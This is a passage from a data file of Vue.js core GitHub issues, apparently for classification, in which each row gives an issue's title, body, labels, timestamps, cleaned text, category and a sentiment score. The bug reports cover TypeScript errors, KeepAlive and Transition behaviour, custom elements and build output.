https://play.vuejs.org/#eNp9UstOwzAQ/JWVL4CEgkrhUoVKgDiAxEPADaMqJJvWxVlbfpSiKv/OJmnTClW9JPbsrGd27JW4tjZZRBQjkfrcKRvAY4gWdEbTKymCl2IsSVXWuAArKLBUhI+mQA01lM5UcMTtR0yhgK7McoQHo+ieSrOSFFUxolh9oTuVFH4tTnpAUi1JksYA83WDh6tdgXRz0Mfn+PhEUk9LFpmOyGSADwCW4QVIwWJSjAas1O3Xej1Wt99/9PM99A7bSx/uoTdY/SkpPesS5Lx4E7CyOgvIO4B0NhhzTOkZ/xviTlGccsi5oVJNk7k3xDfRakqRm8oqje7ZBmWIL2K0dZNpbX4eWiy4iL2rfIb59x587pcNJsWLQ49ugVJsJ8ncFENXvnt7wiWv+2JliqiZfaD4it7o2HjsaDeRCra9w2vd3rdvSNH03d8tA5LfDNUY3QYuBQd1e2D0rd1hctH2cfyc4mSBrjmTAxwml8lgKOo/+vPv+Q==

### Steps to reproduce

npm  install
npm install  laravel-mix
npm install  vue
npm install ts-loader
npm install typescript

### What is expected?

 Laravel Mix v6.0.49

✔ Compiled Successfully in 2632ms

webpack compiled successfully

### What is actually happening?

npm run watch
> watch
> mix watch

✖ Mix
  Compiled with some errors in 18.32s

ERROR in Join.vue.ts
14:29-35
[tsl] ERROR in Join.vue.ts(14,30)
      TS2558: Expected 3-5 type arguments, but got 1.

ERROR in Join.vue.ts
15:0-16
[tsl] ERROR in Join.vue.ts(15,1)
      TS2322: Type 'string' is not assignable to type 'T[K]'.
  'string' is assignable to the constraint of type 'T[K]', but 'T[K]' could be instantiated with a different subtype of constraint 'any'.

webpack compiled with 2 errors

### System Info

_No response_

### Any additional comments?

_No response_","need more info,can't reproduce",2025-01-08 06:53:44+00:00,2025-01-08 13:21:12+00:00,4,"need more info,can't reproduce",0.2691,php framework laravel build vue use definemodel not run vue version link to npm install npm install laravel mix npm install vue npm install ts loader npm install typescript what is expected laravel mix v compiled successfully in ms webpack compiled successfully what is actually happening npm run watch watch mix watch mix compiled with some errors in s error in join vue ts tsl error in join vue ts ts expected type arguments but got error in join vue ts tsl error in join vue ts ts type string is not assignable to type t k string is assignable to the constraint of type t k but t k could be instantiated with a different subtype of constraint any webpack compiled with errors system info no response any additional comments no response,others,-0.9052
vuejs/core,2771762562,Typescript error: in the vuex store upon using the migration build to upgrade to Vue 3 from 2,"### Vue version

Vue Migration build

### Link to minimal reproduction

https://stackoverflow.com/questions/79334686/typescript-error-in-the-vuex-store-upon-using-the-migration-build-to-upgrade-to

### Steps to reproduce

https://stackoverflow.com/questions/79334686/typescript-error-in-the-vuex-store-upon-using-the-migration-build-to-upgrade-to

### What is expected?

the migration build should allow the Vue 2 behavior

### What is actually happening?

it is throwing error and the application does not run

### System Info

_No response_

### Any additional comments?

_No response_",,2025-01-07 02:25:38+00:00,2025-01-07 03:37:46+00:00,1,nan,0.0501,typescript error in the vuex store upon using the migration build to upgrade to vue from vue version vue migration build link to what is expected the migration build should allow the vue behavior what is actually happening it is throwing error and the application does not run system info no response any additional comments no response,bug,-0.8176
vuejs/core,2771148117,Problems with using Transition and KeepAlive at the same time,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/minimal-reproduction/vue-transition-keepalive-2

### Steps to reproduce

This issue is normal in the local development environment and can only be reproduced in the production environment.

1. run `npm run build`
2. run `npm run preview`
3. Click the buttons `one` -> `two` -> `three` -> `two` -> `one` in sequence
4. component `one` cannot be displayed

![1](https://github.com/user-attachments/assets/b400e9fc-00da-4c3b-b208-2bc663f7e93f)


### What is expected?

Consistency with development environment results

![2](https://github.com/user-attachments/assets/1e5a55a8-5b1c-4c61-a949-58c0db7c33c3)


### What is actually happening?

/

### System Info

_No response_

### Any additional comments?

Related issues:
https://github.com/vuejs/core/issues/10827
https://github.com/vuejs/core/issues/11775

Normal under Vue 3.5.2, this issue has been occurring since 3.5.3",":lady_beetle:  bug,scope: transition",2025-01-06 17:49:05+00:00,2025-01-07 02:48:56+00:00,1,":lady_beetle:  bug,scope: transition",0.3749,problems with using transition and keepalive at the same time vue version link to this issue is normal in the local development environment and can only be reproduced in the production environment run run click the buttons in sequence component cannot be displayed what is expected consistency with development environment results what is actually happening system info no response any additional comments related issues normal under vue this issue has been occurring since,bug,-0.5994
vuejs/core,2770915845,compat: v-model modifiers do not work on components,"### Vue version

3.5.13

### Link to minimal reproduction

https://codepen.io/markrian/pen/mybremp

### Steps to reproduce

Enter numbers into the inputs. The displayed bound values should be numbers, not strings.

For instance:

| Expected | Actual
| ---- | --- |
| ![Screenshot from 2025-01-06 15-35-10](https://github.com/user-attachments/assets/a309867d-3c62-4cf3-9c7b-f188c21f0cac) | ![Screenshot from 2025-01-06 15-34-58](https://github.com/user-attachments/assets/98293961-d557-4d0c-a680-afca52b7daa7) |





### What is expected?

v-model modifiers should work when used on components under `@vue/compat`.

### What is actually happening?

v-model modifiers do **not** work when used on components under `@vue/compat`.

### System Info

_No response_

### Any additional comments?

You can see the behaviour working as expected under [Vue 2](https://codepen.io/markrian/pen/JoPRYZW) and [Vue 3 (proper)](https://codepen.io/markrian/pen/zxOKvmK).

It seems this behaviour was fixed on Vue 3 proper in https://github.com/vuejs/core/pull/2348. Perhaps similar treatment needs to be done for `__COMPAT__` code paths?",":hammer: p3-minor-bug,scope: v2 compat",2025-01-06 15:38:05+00:00,2025-06-18 12:53:27+00:00,1,":hammer: p3-minor-bug,scope: v2 compat",162.8857,compat v model modifiers do not work on components vue version link to enter numbers into the inputs the displayed bound values should be numbers not strings for instance expected actual screenshot from screenshot from what is expected v model modifiers should work when used on components under what is actually happening v model modifiers do not work when used on components under system info no response any additional comments you can see the behaviour working as expected under vue and vue proper it seems this behaviour was fixed on vue proper in perhaps similar treatment needs to be done for code paths,bug,0.128
vuejs/core,2770184309,Failed to execute 'insertBefore' on 'Node': parameter 1 is not of type 'Node'.,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNqlU02P0zAQ/SvGl92VNolQ4RKyEQnaAyABKhwtoTSZdL3rOpY/QlHV/87YbrMplB7gFs978/Jm/LyjlVLp6IDmtDCt5soSA9apkkm+UYO2ZEfMQyPE8GMJPdmTXg8bcoUdVxOjOhTTrPJSz0A9AfUBYLIdpLGkdVqDtORuJn5d3bxhssiiDTSABwsbJRoLeCKkEM0KRFlwqZwl9qeCO0Z10/GBUTImm6EDgZWDNtbysRHOkyo8ZCWpiixK/J9aHdXqE7WPAKoSfIxWsdAOuATph8y5mQuVRTZhsTebNxfZbGh6S63BlfV8nT6aQeI17XwLyqEEF6A/K8txpYzmJCAeCxv9EGpWO7g91tsHaJ/O1B/N1tcY/aLBgB6B0QmzjV4Duvbw/ddPsMXvCcQlOYHsC+ASzCCc9xhptZMd2p7xgtv3ITFcrr+Z+60FaY5DeaOeuQ98RjFH7y6M/mx3kb4KfUzucYshmf8U8hhY7aREd6eB7RthwIe2d7L1Xjzt+ubo5tCThtxgpx8FyeegoIQYur30AFbOWvzL21bw9snH1eFWy6XDpghF2oskIUkSv0/iHQKwGvC2Sd5x06wEdFHGu2E0O5O/8HT/2NxfXf7e/n0E7S8TFRbp6/Tlgu5/ATTPgKw=

### Steps to reproduce

Press button 'Run' and switch to tab 'B'

### What is expected?

No error

### What is actually happening?

With testing, following conditions are necessary to trigger this issue.
1. `KeepAlive`
2. Comment in A.vue
3. Function `Run` ever changed reference `running`
4. An element use reference `running`

This only occurs in production build.

### System Info

_No response_

### Any additional comments?

My real project use electron + typescript + vue.
When it compiles to package, not every build will result in this issue.
But it can always reproduce in vue playground.","has workaround,:hammer: p3-minor-bug",2025-01-06 09:02:43+00:00,2025-05-13 14:18:30+00:00,2,"has workaround,:hammer: p3-minor-bug",127.2193,failed to execute insertbefore on node parameter is not of type node vue version link to press button run and switch to tab b what is expected no error what is actually happening with testing following conditions are necessary to trigger this issue comment in a vue function ever changed reference an element use reference this only occurs in production build system info no response any additional comments my real project use electron typescript vue when it compiles to package not every build will result in this issue but it can always reproduce in vue playground,bug,-0.6542
vuejs/core,2769489552,Typescript Partial<> - [@vue/compiler-sfc] Unsupported type when resolving index type,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul1r3DAQ/CtbPdQJXO+4XvtydVzaEugHNEd70BdBMfbaUU6WhLS+5jD+713J5GJIyOPOzK5GszuIT84tjz2KrchD5ZUj0KVpr6SgIAUEpN4V0qjOWU8wgMcGRmi87SDjtkwaaSprAkEXWriK/EX2FbW28Md6Xb/KLqOETg7hxpGyptT5fgE/AO8JTR3ggCfbwL7g5ptOUSILeA270pNi8U5VhwksPsRRyhD6pqwQ9sjPDtIAOG8dejqttxDIK9Oy8hF9+3EGj0/spDH8+Nkd1wvIzjOz6d3plxENrK6xUQZ3scrng4qLy6TOV1OanB0XhJ3TJSFXAPntuhiGlNc45iuuEqqM6wmObzpbo+b8mecFrJjMV7N+seDNsJdGtcu7YA0vLkUgRWU7pzT6yQ5vbzuFE7mSF/Lve8LI97h4wKtbrA7P4HfhPmJS7DwG9EeU4sxR6Vukib7+/ZP3OCPZfa9Z/QL5C4PVffQ4yT73pmbbM11y+y2dHC9tH67jqYSHT0WjUTkmvRR8hl9e+Pqj3c3yXerjI+AU/x7Rx5kc4Gb5frneiPE/QloGYg==

### Steps to reproduce

I'm not entirely sure of which causes it, but either `Omit`, `Partial` or `Pick` cause this error.

### What is expected?

The types to be parsed correctly.

### What is actually happening?

The types are not supported by Vue and are throwing an error.

### System Info

_No response_

### Any additional comments?

_No response_","scope: compiler,scope: sfc,:hammer: p3-minor-bug",2025-01-05 22:56:45+00:00,2025-06-05 02:01:23+00:00,1,"scope: compiler,scope: sfc,:hammer: p3-minor-bug",150.1282,typescript partial vue compiler sfc unsupported type when resolving index type vue version link to i m not entirely sure of which causes it but either or cause this error what is expected the types to be parsed correctly what is actually happening the types are not supported by vue and are throwing an error system info no response any additional comments no response,bug,-0.9594
vuejs/core,2766288695,$refs not reset when destroying element on event within `watch` callback on prop value change,"### Vue version

5a6e98c, 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1zmzAQ/SuKpjO2Zxw4tCeK3TadHNpD3UkyvRQfKCygBCSNJIwzHv/3roQFthNn4gMWb3fffj2xo9+kDDYt0IjGBhpZpwaWCSckFqYCdZ2JRgoO3FiMkM01KxYJzZlGz+eE9qgCC7oAD0VCArcg/nnsa1YLDfkYTxakSGsNvUPY583Zxh3w+K81RnAbx7KnAxnGXPWkywdRljWsLDjd7Yiz7vezOOzjLrGMya+GPg5c95XoHJf3eQedVIybOyj0dIY8w9tJWBz6ruLwaMoJj3WmmDTOxHDSypCVHeN3P3ZSKNGQhAbhKW53ltDPlgO2Li6HIm1rQ3aWa1ibjnqAIMf5Rml0lmxuPffumacmnc58rALTKu7f0NqPJyJGteD87c8u4ATaj3yZAuw5Hyk7xnPRBVkjcRGmYhp78c4NmErkY+lHIx5ryATXooagFuV08gElqP8OGlxP5o4z6PGJgyfrmcvhs9gnVhiHww7onBqNvAUrg0ctOF4Kly6hdmisBrWShmFeO7phrGldi+6nw456x5gKsqdX8Ee9tVhCfyvQoDa4x8FmUlWC20xCb+9/wRbPg7EReVuj9xvGO8CZtLbG3u2m5TmWfeTnqv3hpMZ4+aBvtwa49k3ZQsc9JBRVZtVxqfWx3I/BJxeHI8UpvtTqy++LXJ56xaFEw8X78ZrKpRJyVEkvv0Ef5llCRG4EaiTlXpBHCoeG2duB4sA4yFExk/77NFk7e5earDohn3Lo/qR1C2cqNAQ29qouiHcgX4inJdHAe1AfluakaQuYusjZW7Kk+/9809vh

### Steps to reproduce

1. Open *Web Developer Tools > Console*.
2. Click on ""printRefs"" button.  This prints current value of `this.$refs.other`': the instance of the `other-component`.
3. Click on ""ToggleDisplay"" and then on ""printRefs"" again.  The `other-component` disappears and `this.$refs.other` is set to `null`.
4. Click on ""ToggleDisplay"" and ""printRefs"" again. State equivalent to 2.
5. Click on ""ToggleOpen"", then on ""printRefs"".  We expect `null`, but `this.$refs.other` contains the `other-component` instance!

### What is expected?

Clicking on ""ToggleOpen"" sets the `open` reac... [TRUNCATED]",:hammer: p3-minor-bug,2025-01-02 16:13:01+00:00,2025-09-02 09:08:54+00:00,0,:hammer: p3-minor-bug,242.7055,refs not reset when destroying element on event within callback on prop value change vue version a e c link to open web developer tools console click on printrefs button this prints current value of the instance of the click on toggledisplay and then on printrefs again the disappears and is set to click on toggledisplay and printrefs again state equivalent to click on toggleopen then on printrefs we expect but contains the instance what is expected clicking on toggleopen sets the reac truncated,bug,0.3944
vuejs/core,2765457455,The subcomponent data is not updated,"### Vue version

^3.5

### Link to minimal reproduction
https://play.vuejs.org/#eNqdVV1v2zoM/SusX5oCjr2t9+ICuU6wrRuwDftCV+wlzoNmM442WfIkOWlQ5L+PkiI3/Vgw7KGNTR6Rh4ekfJO86Lps3WMySQpTad5ZMGj7blZK3nZKW3jVt+32UvUW9VeOG1hq1cJplt+zuyCnpSzyEIXO04vFthPMIr0BFKunszcohALKeVLk9OrN3exC8OoH2BXCPue33lolgckatqqHDReCaKGHMK3ZFqoVkw3WYBXMn6bP0vNFBlcrlNAoZ3PAN6rFyAyWXGAKNQq0IUyl2halTaH6XfKGcZk+xoFZD6+ZZbBiBqSykU+RO+WoqJYO+yd6/tKbDqUJKnjLfU3zCM3vYIt8H6bIByWTNLGmUnLJm+y7UZIad+OwZUIVdVSl/tRZrqQpkwl4j/Mxkn3zztus7jGN9mqF1Y9H7N/NtbOVyWeNBvUay2TwWaYbtMH9+stHvKbnwdmquheEPuK8RKNE7zgG2Mte1kT7AOfZvvXd4LK5Mq+vLWkSi3JEHXLn8WVC7b04Uvot3fPsH3+ulDtS8ZH5vb8EIKipUwpBEW8X4gY0LmG3X4Qw9ntXHLlhSQ5nkGClpM4Zir5SG5i6OKMlEwbPnItSXvEWidFodAbTWSjBQbM1EzTD033puxT+ffKEzhxbtoHKesyXVIOLUyZ+0g6mqZSkxCHJv5DAd6BM/h+8Fysu6ujLcv/qYntMlEBv2DeBoclYv+dkCoLMF0A7xeR2vjgjfEBXLsYl5fSYgryzkfNGv5IxEiFGgqJN9iEGIR8mHGR1eAq2o79jkp6Mx/Aq3iDcxCvE3Tfxcuq0oiQtjMfhiK89TCLxJh1jIWUSrOsxLQUK8jzkFzGToCvWhLotdPBSnZ+16sh5cjf6Y70emvGnja5xySW6BMbdn+7lg2N8bwHohKRNWrIKwYOD6JH5hJpy2BF6IrHB/Tq0d7kO3HaUlKQg08P8hf9PjY8YfwNHiGflJmO+mI3cgP7suXaZ3dLAzq/YHw+Lz55F9qN5lmUOt6AonmOew4sN46Qd7Q4Ng2z8V0fzpkENp8xsZRV0PQXX4FIyD//v6ITdkNyupB3loOHZf4ie+y/Und6P6JsHz1I4J0LJLNAs8oB/0PTdL3s9tTU=


https://github.com/vuejs/router/issues/2429

### Steps to reproduce

1. Click the import button and you will see the array changed to [1,2,3]
2. To HomeView.vue file, del comment
3. Click import button again
4. Data has not changed

### What is expected?

Data change

... [TRUNCATED]",":lady_beetle:  bug,duplicate,scope: suspense",2025-01-02 05:18:36+00:00,2025-01-03 08:00:52+00:00,1,":lady_beetle:  bug,duplicate,scope: suspense",1.1127,the subcomponent data is not updated vue version link to click the import button and you will see the array changed to to homeview vue file del comment click import button again data has not changed what is expected data change truncated,bug,0.0
vuejs/core,2765351666,Iterator helper methods are undefined using reactive proxy,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9ktFLwzAQxv+VEB+6QemQ6cscgsoe5oOK8zEgpbvVzDQJyaUrjP7vXlpWh257y9139/WXr9nzB2uzOgCf8bkvnLTIPGCw90LLyhqHbM8c5AXKGljLNs5ULKH55E5ooQujvVGQKVOOkiWCy9G4K28qYNBIjz5JNezYCnA0zupcBfB0iPr44vLagGfaYO+SpAeC0eD23+6cYZXbAYadoCH9LEzc/csyxHESpnebT/osKUUqECqrcgSq5pOjgqccPX14I8ts642mf7AXmjHBC1NZqcC9WpQEJviMdUrUcqXM7rnroQuQHvrFFxTfJ/pb38Se4G8OPLgaBB80zF0J2MuL1Qs0dB7EyqyDoukL4jtQaCEy9mOPQa8J+2iuo112L0nq8sMvGgTtD5eKoHGy7eYFp4f1dOHqv7jT7KbbE7qlFD9rcNGTApxmt9n1lLc/l1P2tg==

### Steps to reproduce

Call an [iterator helper method](https://tc39.es/proposal-iterator-helpers/#sec-iteratorprototype.map), e.g. `new Set([1,2]).values().some(value => value > 5)`. This works (in modern browsers, see [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Iterator/some)).

For typescript, this is available in es2024.

Now use a reactive object to do the same (`reactive(new Set([1,2])).values().some(value => value > 5)`). This should behave the same, but instead `undefined is not a function`, despite it typechecking in TypeScript.

### What is expected?

`reactive(new Set(...))` should offer exactly the same interface as `new Set(...)`.

An ideal futureproof solution would be that any method is called through, if it has not been patched.

### What is actually happening?

`TypeError: undefined is not a function`.

In the reproduction link, I have logged two different methods, with and wit... [TRUNCATED]",,2025-01-02 01:36:51+00:00,2025-01-02 10:16:19+00:00,3,nan,0.3607,iterator helper methods are undefined using reactive proxy vue version link to call an iterator helper method e g this works in modern browsers see mdn for typescript this is available in es now use a reactive object to do the same this should behave the same but instead despite it typechecking in typescript what is expected should offer exactly the same interface as an ideal futureproof solution would be that any method is called through if it has not been patched what is actually happening in the i have logged two different methods with and wit truncated,help,0.8735
vuejs/core,2764016259,Calling `this.$watch` in `created` hook sets active effect scope to null which causes subsequent `onScopeDispose` and `watchEffect` cleanup to fail,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVE1v2zAM/SuEMcAp0MYYtlPmBti6HLbDNqzdad7BkelErSJp+nAzBPnvoyQ7cbOsh94kPvLx8Yn2Lnuv9bTzmM2y0jLDtQOLzut5JflGK+NgBwZb2ENr1AZySs3fHbAbtdE9MC3CJVAFvJJMSevgsXZsDdeBYtLWwuIFgQnquOVLgadgWSQZJIAuDjda1A7pBlA2vJuXol6imJdcau/A/dF4XWVsjexhqbZVBt3VRjUoKBh7V9k8iSiLvrAILC+g6/UGwv74L2WkjaZ0V7wdF8EsqjjKKqigLEbzZZeZs2RNy1fTe6skvcgucmaMCLlA81U7TtZV2QwiErBaCPX4Ocac8Xg5xOMIZ+L3lqaa0eGbQYumI2kHzNVmhS7Bi9svuKXzASQbfBjkGfA7WiV80JjSPnjZkOxRXlT7Ke4Ol6s7u9g6lHYYKggNmfuYT+Z5DF7+b/Sj3DfTt7GukntycdjD40qPljnkxRdYtC0yFzspecuUxo/camWTVUr+kBvlpcOG7ifLX0ncRrYG29qLnlUbpe0MfuaRPv9FdSHMDNL7NpOLQThvYeLW3E5j3iEMUBRwt0bioYeRDEG1EPKSXDTAam/RUgyhZo53CBhnANoajeAULBGkF2JE2CoTC6xfWvztUTpYK/Vgh5Qo5FXsMCGJ13N4fQnpsNuHzzEkka/p8NSoviB8zUrgVKjVJE9SmpSQXwSGylVuZOe5Kj+AfUWsGb3SRMkbgbX0OgpLeOWecCQv8qFj6NnXnOvIEnRU2A8bVo/GfeYnFLbr9Mvd/wUzt8he

### Steps to reproduce

Click the playground link. Toggle ""visible"" and observe the logs. ""cleanup"" and ""scope dispose"" will be logged correctly. Now enable ""watch"". This causes the component to call `this.$watch` first thing in its `created` hook. Now toggle visible again and notice that ""cleanup"" and ""scope dispose"" aren't logged. Also Vue warns about there not being an active effect scope.

### What is expected?

Showing the component logs ""effect"".
Destroying the component logs ""cleanup"", ""scope dispose"" then ""unmounted"".

### What is actually happening?

Showing the component logs ""ef... [TRUNCATED]",🔩 p2-edge-case,2024-12-31 06:38:02+00:00,2025-01-08 10:08:03+00:00,1,🔩 p2-edge-case,8.1458,calling in hook sets active effect scope to null which causes subsequent and cleanup to fail vue version link to click the playground link toggle visible and observe the logs cleanup and scope dispose will be logged correctly now enable watch this causes the component to call first thing in its hook now toggle visible again and notice that cleanup and scope dispose aren t logged also vue warns about there not being an active effect scope what is expected showing the component logs effect destroying the component logs cleanup scope dispose then unmounted what is actually happening showing the component logs ef truncated,others,-0.3818
vuejs/core,2763561102,Error in _injectChildStyle when shadowRoot is disabled in CustomElementApi,"### Vue version

3.5.13

### Link to minimal reproduction

[stackblitz.com/edit/vitejs-vite-hebvmeai?file=src%2Fcomponents%2FHelloWorld.ce.vue](https://stackblitz.com/edit/vitejs-vite-hebvmeai?file=src%2Fcomponents%2FHelloWorld.ce.vue)

### Steps to reproduce

1- Create a Vue component with child component inside  with scoped styles. using the Custom Element API.
2- Disable Shadow DOM.
3- Open the browser console and observe the shadowRoot error when _injectChildStyle runs.

### What is expected?

When the shadowRoot option is disabled (or otherwise omitted) and child components have their own styles, Vue should inject (or refrain from injecting) those styles without throwing console errors.

### What is actually happening?

Currently, when shadowRoot is disabled, the _injectChildStyle function attempts to apply child styles to a Shadow DOM. Since shadowRoot does not exist, a console error occurs indicating it cannot access shadowRoot or its methods.

### System Info

_No response_

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: custom elements",2024-12-30 18:32:34+00:00,2025-06-05 02:02:28+00:00,6,":hammer: p3-minor-bug,scope: custom elements",156.3124,error in injectchildstyle when shadowroot is disabled in customelementapi vue version link to stackblitz com edit vitejs vite hebvmeai file src fcomponents fhelloworld ce vue create a vue component with child component inside with scoped styles using the custom element api disable shadow dom open the browser console and observe the shadowroot error when injectchildstyle runs what is expected when the shadowroot option is disabled or otherwise omitted and child components have their own styles vue should inject or refrain from injecting those styles without throwing console errors what is actually happening currently when shadowroot is disabled the injectchildstyle function attempts to apply child styles to a shadow dom since shadowroot does not exist a console error occurs indicating it cannot access shadowroot or its methods system info no response any additional comments no response,bug,-0.8506
vuejs/core,2762153629,Using a function imported from another file as a default value in `withDefaults` may prevent it from being tree-shaken,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-sr5itbdf

### Steps to reproduce

1. `npm install`
2. `npm run build`
3. `NotTreeShaken` component exists in `dist/assets/index-xxx.js`

### What is expected?

`NotTreeShaken` component is not imported, so it should be tree-shaken

### What is actually happening?

`NotTreeShaken` component exists in `dist/assets/index-xxx.js`

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```


### Any additional comments?
In the case of `Props Destructure`, it is tree-shaken.

In the case of withDefaults, props are compiled as follows:
```
props: {
  msg: { type: String, required: false, default: format('Hello World!!!   ') }
},
```

In the case of Props Destructure, it is compiled as follows:
```
props: {
  msg: { type: String, required: false, default: () => (format('Hello World!!!   ')) }
},
```",,2024-12-29 08:15:41+00:00,2024-12-30 01:56:43+00:00,2,nan,0.7368,using a function imported from another file as a default value in may prevent it from being tree shaken vue version link to component exists in what is expected component is not imported so it should be tree shaken what is actually happening component exists in system info any additional comments in the case of it is tree shaken in the case of withdefaults props are compiled as follows in the case of props destructure it is compiled as follows,others,0.1531
vuejs/core,2761764500,The composing property is not accurate in some scenarios.,"### Vue version

3.5.13

### Link to minimal reproduction

https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/isComposing

### Steps to reproduce

The composing property is achieved in packages/runtime-dom/src/directives/vModel.ts, it'is not accurate in some scenarios.
For example, when you need to input an SMS code, the input field gets focused at first. If you click the submit button, it triggers the blur event, which also triggers the input value check. Then, the input gets focused again. At this point, the compositionstart event has been triggered, but not the compositionend event. So, composing is still true, and there's no way to set it to false. When you receive the SMS code, on iOS, you can tap the keyboard to fill in the code right away. However, if some UI library relies on this property and only allows the value to be set when composing is false, the user won't be able to enter anything into the field.

Actually, there's a property called isComposing that we can check in JavaScript. Why not handle this yourself?
[](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/isComposing)

### What is expected?

Why do you need to handle the composing property in packages/runtime-dom/src/directives/vModel.ts?

### What is actually happening?

The vant ui library relies on this property and only allows the value to be set when composing is false, the user won't be able to enter anything into the field.

### System Info

_No response_

### Any additi... [TRUNCATED]","need more info,can't reproduce",2024-12-28 15:08:43+00:00,2025-01-03 00:09:40+00:00,1,"need more info,can't reproduce",5.3757,the composing property is not accurate in some scenarios vue version link to the composing property is achieved in packages runtime dom src directives vmodel ts it is not accurate in some scenarios for example when you need to input an sms code the input field gets focused at first if you click the submit button it triggers the blur event which also triggers the input value check then the input gets focused again at this point the compositionstart event has been triggered but not the compositionend event so composing is still true and there s no way to set it to false when you receive the sms code on ios you can tap the keyboard to fill in the code right away however if some ui library relies on this property and only allows the value to be set when composing is false the user won t be able to enter anything into the field actually there s a property called iscomposing that we can check in javascript why not handle this yourself what is expected why do you need to handle the composing property in packages runtime dom src directives vmodel ts what is actually happening the vant ui library relies on this property and only allows the value to be set when composing is false the user won t be able to enter anything into the field system info no response any additi truncated,others,0.9623
vuejs/core,2760536140,Why is style isolation not working?,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdUk1PwzAM/StRLlxGKjS4jDIEaEhwAMR2jIS61Cvd0iTKx9g07b/jpOo+pGlI9FT7+Tnv2d7QB2PYMgAd0NwJWxtPHPhghlzVjdHWk+cg5VhYAEVmVjfkgmX7VKRe3HKVZy0ZaRh4aIwsPGBESG6IkIVzd5waTof3+OVZ7I/QvtEwP+jaghOQkBR4jdypLtdIj8hfxKxjYphnB2IwdH4tgTihDZSYYYZsImdaiEVldVDlpdBS2wGxUKKvbbIWOVhMe9QjU83qis2dVjizROZU6MbUEuy78bVWjtNB2zZihZT65zXlvA3Q6/LiG8TiRH7uVjHH6YcFB3YJnO4wX9gKfAuPxm+wwv8d2OgySKw+A36C0zJEjW3ZIxpG2Qd1Se1L2nytqokbrTwo15mKQmPlNtVzitt/OmN9L7fPrhMPJ4pTPL4fHOPxzZy4mO5m/r3OKr52vFAU8rUEG82hhD67YVd9uv0FQs8ICg==

### Steps to reproduce

App.vue:
```vue
<script setup>
import FullScreen from './FullScreen.vue';
</script>

<template>
  <p class=""p"">????</p>
  <FullScreen></FullScreen>
  <Teleport to=""body"">
    <FullScreen></FullScreen>
  </Teleport>
</template>

<style scoped>
.p {
  background-color: red;
}
</style>
```

FullScreen.vue:
```vue
<template>
<p class=""p"">??????</p>
</template>

<style scoped>
.p {
  background-color: green;
}
</style>
```

Google Chrome version: 131.0.6778.140

en-us:
Why is the background-color of FullScreen.vue red instead of green?
Why isn't css style isolation working?

zh-cn:
为什么 FullScreen.vue 的背景颜色是红色而不是绿色？
为什么 CSS 隔离不起作用？

![bug1](https://github.com/user-attachments/assets/c7c506b9-b708-484a-b01b-4091869d94a1)
![bug2](https://github.com/user-attachments/assets/babf4ca2-fbdb-467a-8a83-a452f048c774)
![bug3](https://github.com/user-attachments/... [TRUNCATED]",,2024-12-27 07:45:41+00:00,2024-12-27 07:57:32+00:00,4,nan,0.0082,why is style isolation not working vue version link to app vue fullscreen vue google chrome version en us why is the background color of fullscreen vue red instead of green why isn t css style isolation working zh cn fullscreen vue css bug bug bug truncated,others,-0.9246
vuejs/core,2759686250,`Invalid assignment target` in v-model data binding with type assertion when building for production,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/github-4n1bjaud

### Steps to reproduce

1. Add type assertion in `v-model`, for example, `v-model=""foo as any""`
2. `npm run build`

### What is expected?

Project successfully building for production.

### What is actually happening?

type assertion is not removed:
![image](https://github.com/user-attachments/assets/98de6fb4-3d23-47f2-9056-f449ff92eeb0)


### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (6) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: latest => 3.5.13
```


### Any additional comments?

It works fine in development.

Very similar to #8306",,2024-12-26 12:02:07+00:00,2024-12-27 00:58:37+00:00,5,nan,0.5392,in v model data binding with type assertion when building for production vue version link to add type assertion in for example what is expected project successfully building for production what is actually happening type assertion is not removed image system info any additional comments it works fine in development very similar to,others,0.6124
vuejs/core,2759634492,"Using `watch` to observe a prop in a vue custom element, the other props accessed in the listener are the old values.","### Vue version

3.5.11

### Link to minimal reproduction

